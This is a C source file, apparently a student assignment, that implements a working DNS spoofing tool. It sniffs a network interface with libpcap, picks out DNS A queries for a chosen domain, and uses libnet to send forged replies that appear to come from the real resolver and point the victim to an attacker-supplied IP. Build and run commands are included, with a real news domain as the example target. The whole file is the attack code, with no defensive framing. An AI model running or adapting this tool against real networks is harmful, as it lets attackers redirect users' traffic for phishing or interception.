/*
  ANDRE PETRIS ESTEVE
  RA 070168

  gcc -g -Wall -pedantic -lpcap -lresolv -lnet dns-spoof.c -o dns-spoof
  ./dns-spoof --interface eth0 --request www.uol.com.br --ip 10.0.0.1
*/


/*
#define DEBUG
*/

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <net/ethernet.h>
#include <netinet/ether.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/nameser.h>
#include <resolv.h>
#include <pcap.h>
#include <unistd.h>
#include <libnet.h>

#define MAXSIZE 1024
#define SNAPSHOT_LEN 5120
#define READ_TIMEOUT 1000
#define DNS_PORT 53

/*
  BEGIN Data tyes
 */

struct param_t
{
   struct in_addr ip;
   char uri[MAXSIZE];
   char ifname[128];
   libnet_t *l;
   char errbuf[LIBNET_ERRBUF_SIZE];
};

/*
  END Data tyes
 */

/*
  BEGIN Gobals
 */

char errbuf[PCAP_ERRBUF_SIZE];

/*
  END Globals
 */

/*
  BEGIN Code
 */

/*
  Prints program usage.
 */
void printusage()
{
   printf("usage:\ndns-spoof --interface eth0 --request www.google.com --ip 127.0.0.1\n");
}

/*
  Analyse program parameters
*/
struct param_t get_parms(int n, char** argv)
{
   int i;
   struct param_t p;

   int hasip, hasif, hasuri;

   hasip = hasif = hasuri = 0;

   if (n < 3)
   {
      printusage();
      exit(1);
   }

   hasip = 0;

   for (i = 1; i < n-1; i++)
   {
      /* get ip address */
      if (!strcmp(argv[i], "--ip"))
      {
         if (!inet_aton(argv[++i], &(p.ip)))
         {
            printf("Invalid ip address\n");
            exit(1);
         }
         else
            hasip = 1;         

#ifdef DEBUG
         printf("IP: %s\n", argv[i]);
#endif
      }

      /* get ifname */
      if (!strcmp(argv[i], "--interface"))
      {
         strncpy(p.ifname, argv[++i], 128);
         hasif = 1;

#ifdef DEBUG
         printf("IFNAME: %s\n", p.ifname);
#endif
      }

      /* get uri */
      if (!strcmp(argv[i], "--request"))
      {
         strncpy(p.uri, argv[++i], MAXSIZE);
         hasuri = 1;

#ifdef DEBUG
         printf("URI: %s\n", p.uri);
#endif
      }
   }

   if (hasip != 1 || hasif != 1 || hasuri != 1)
   {
      printusage();
      exit(1);
   }

   return p;
}

void dns_query(const HEADER* dns, const u_char* dns_end, 
               const struct in_addr* ipsrc, const struct in_addr* ipdst,
               u_int16_t sport,
               struct param_t* p)
{
   /* aqui temos certeza que temos um dgram dns
     na porta domain */

   int size;
   u_char buffer[MAXSIZE];
   char domain[MAXSIZE];   
   HEADER* fdns;
   u_char* query;
   u_short type, class;
   u_char* t;
   int dnssize;
   int replysize;

   /* verifica se eh uma query e possui os dados esperados */
   if (dns->opcode != QUERY || ntohs(dns->qdcount) != 1 ||
       dns->ancount || dns->nscount || dns->arcount)
      return;

   dnssize = (int)(dns_end - (u_char*)dns + 1);

   query = (u_char*)dns + sizeof(HEADER);

   size = dn_expand((u_char*)dns, dns_end, 
                    (u_char*)query, domain, MAXSIZE);

   if (size < 0)
      return;

   /* verificamos se a requisicao foi para o uri a ser spoofado */
   if (strcmp(p->uri, domain))
      return;

   query += size;

   GETSHORT(type, query);
   GETSHORT(class, query);

   /* internet */
   if (class != C_IN)
      return;

   t = buffer;
   /* aproveita query original para forjar resposta */
   memcpy(t, dns, dnssize);
   t += dnssize - 1;

   if (type == T_A)
   {
      /* query do tipo A */

      /* adiciona bloco c00c referencia dname
         class 01 (IN) tipo 01 (A host ip) ttl(tanto faz...)
         dlen 4 (IPv4 32bits)*/
      memcpy(t, "\xc0\x0c\x00\x01\x00\x01\x00\x00\x01\x00\x00\x04",
             12);
      memcpy(t + 12, &(p->ip.s_addr), sizeof(in_addr_t));

      replysize = 12 + sizeof(in_addr_t);

      t += replysize;
   }
   else
      return; /* por enquanto vamos fazer o mais simples */

   /* cria dgram forjado */

   fdns = (HEADER*)buffer;
   fdns->qr = 1;
   fdns->ra = 1;
   fdns->ancount = htons(1);

/*
   memset((char *) &si_other, 0, sizeof(struct sockaddr_in));
   si_other.sin_family = AF_INET;
   si_other.sin_port = sport;
   memcpy(&(si_other.sin_addr), &(ipsrc->s_addr), sizeof(in_addr_t));

   if (sendto(p->s, buffer, (size_t)(t - buffer), 0, 
              (struct sockaddr*)&(si_other), 
              sizeof(struct sockaddr_in))==-1)
      perror("sendto");
*/

   libnet_build_udp(DNS_PORT, ntohs(sport), LIBNET_UDP_H + (u_int16_t)(t - buffer),
                    0, (u_int8_t*)buffer, (u_int16_t)(t - buffer), p->l, 0);

   libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_UDP_H + (u_int16_t)(t - buffer), 
                     0, (u_int16_t)libnet_get_prand(LIBNET_PR16),
                     0, 20, IPPROTO_UDP, 0, (u_int32_t)ipdst->s_addr,
                     (u_int32_t)ipsrc->s_addr, NULL, 0, p->l, 0);

   libnet_write(p->l);

   /* limpa buffer da libnet pkt p/ proximo dgram */
   libnet_clear_packet(p->l);

   printf("O host %s fez uma requisição a %s\n", 
          inet_ntoa(*ipsrc), domain);
}

void packet_handler(u_char *user, const struct pcap_pkthdr *h,
                    const u_char *packet)
{
   struct param_t* p;
   const struct ether_header* etheader;
   const struct ip* ipheader;
   const struct udphdr* udpheader;
   const HEADER* dnsheader;

   p = (struct param_t*)user;
   
   etheader = (struct ether_header*)packet;

   /* if it's not IP, ignore it */
   if (ntohs(etheader->ether_type) != ETHERTYPE_IP) 
      return;

   ipheader = (struct ip*)(packet + sizeof(struct ether_header));

   /* if it's not UDP ignore it */
   if (ipheader->ip_p != IPPROTO_UDP)
      return;
 
   udpheader = (const struct udphdr*)(packet + sizeof(struct ether_header) + sizeof(struct ip));
   
   /* if it's not dns query, ignore it */
   if (ntohs(udpheader->dest) != DNS_PORT)
      return;
 
   dnsheader = (const HEADER*)(packet + sizeof(struct ether_header) + sizeof(struct ip) + sizeof(struct udphdr));

   dns_query(dnsheader, (u_char*)packet + h->caplen, &(ipheader->ip_src), 
             &(ipheader->ip_dst), udpheader->source, p);
}

void job(struct param_t* p)
{
   pcap_t* ph;

   ph = pcap_open_live(p->ifname, SNAPSHOT_LEN,
               1, READ_TIMEOUT, errbuf);

   if (!ph)
   {
      fputs(errbuf, stderr);
      return;
   }

   /*inicializa libnet*/
   if (!(p->l = libnet_init(LIBNET_RAW4, NULL, p->errbuf)))
   {
      fprintf(stderr, "libnet_init(): %s\n", p->errbuf);
      return;
   }

   libnet_seed_prand(p->l);
   
   if (pcap_loop(ph, 0, packet_handler, (u_char*)p) < 0)
      fprintf(stderr, "pcap_loop failed: %s\n", pcap_geterr(ph));

   libnet_destroy(p->l);

   return;
}

int main(int argn, char** argv)
{
   struct param_t p;

   p = get_parms(argn, argv);   

   job(&p);

   return 0;
}
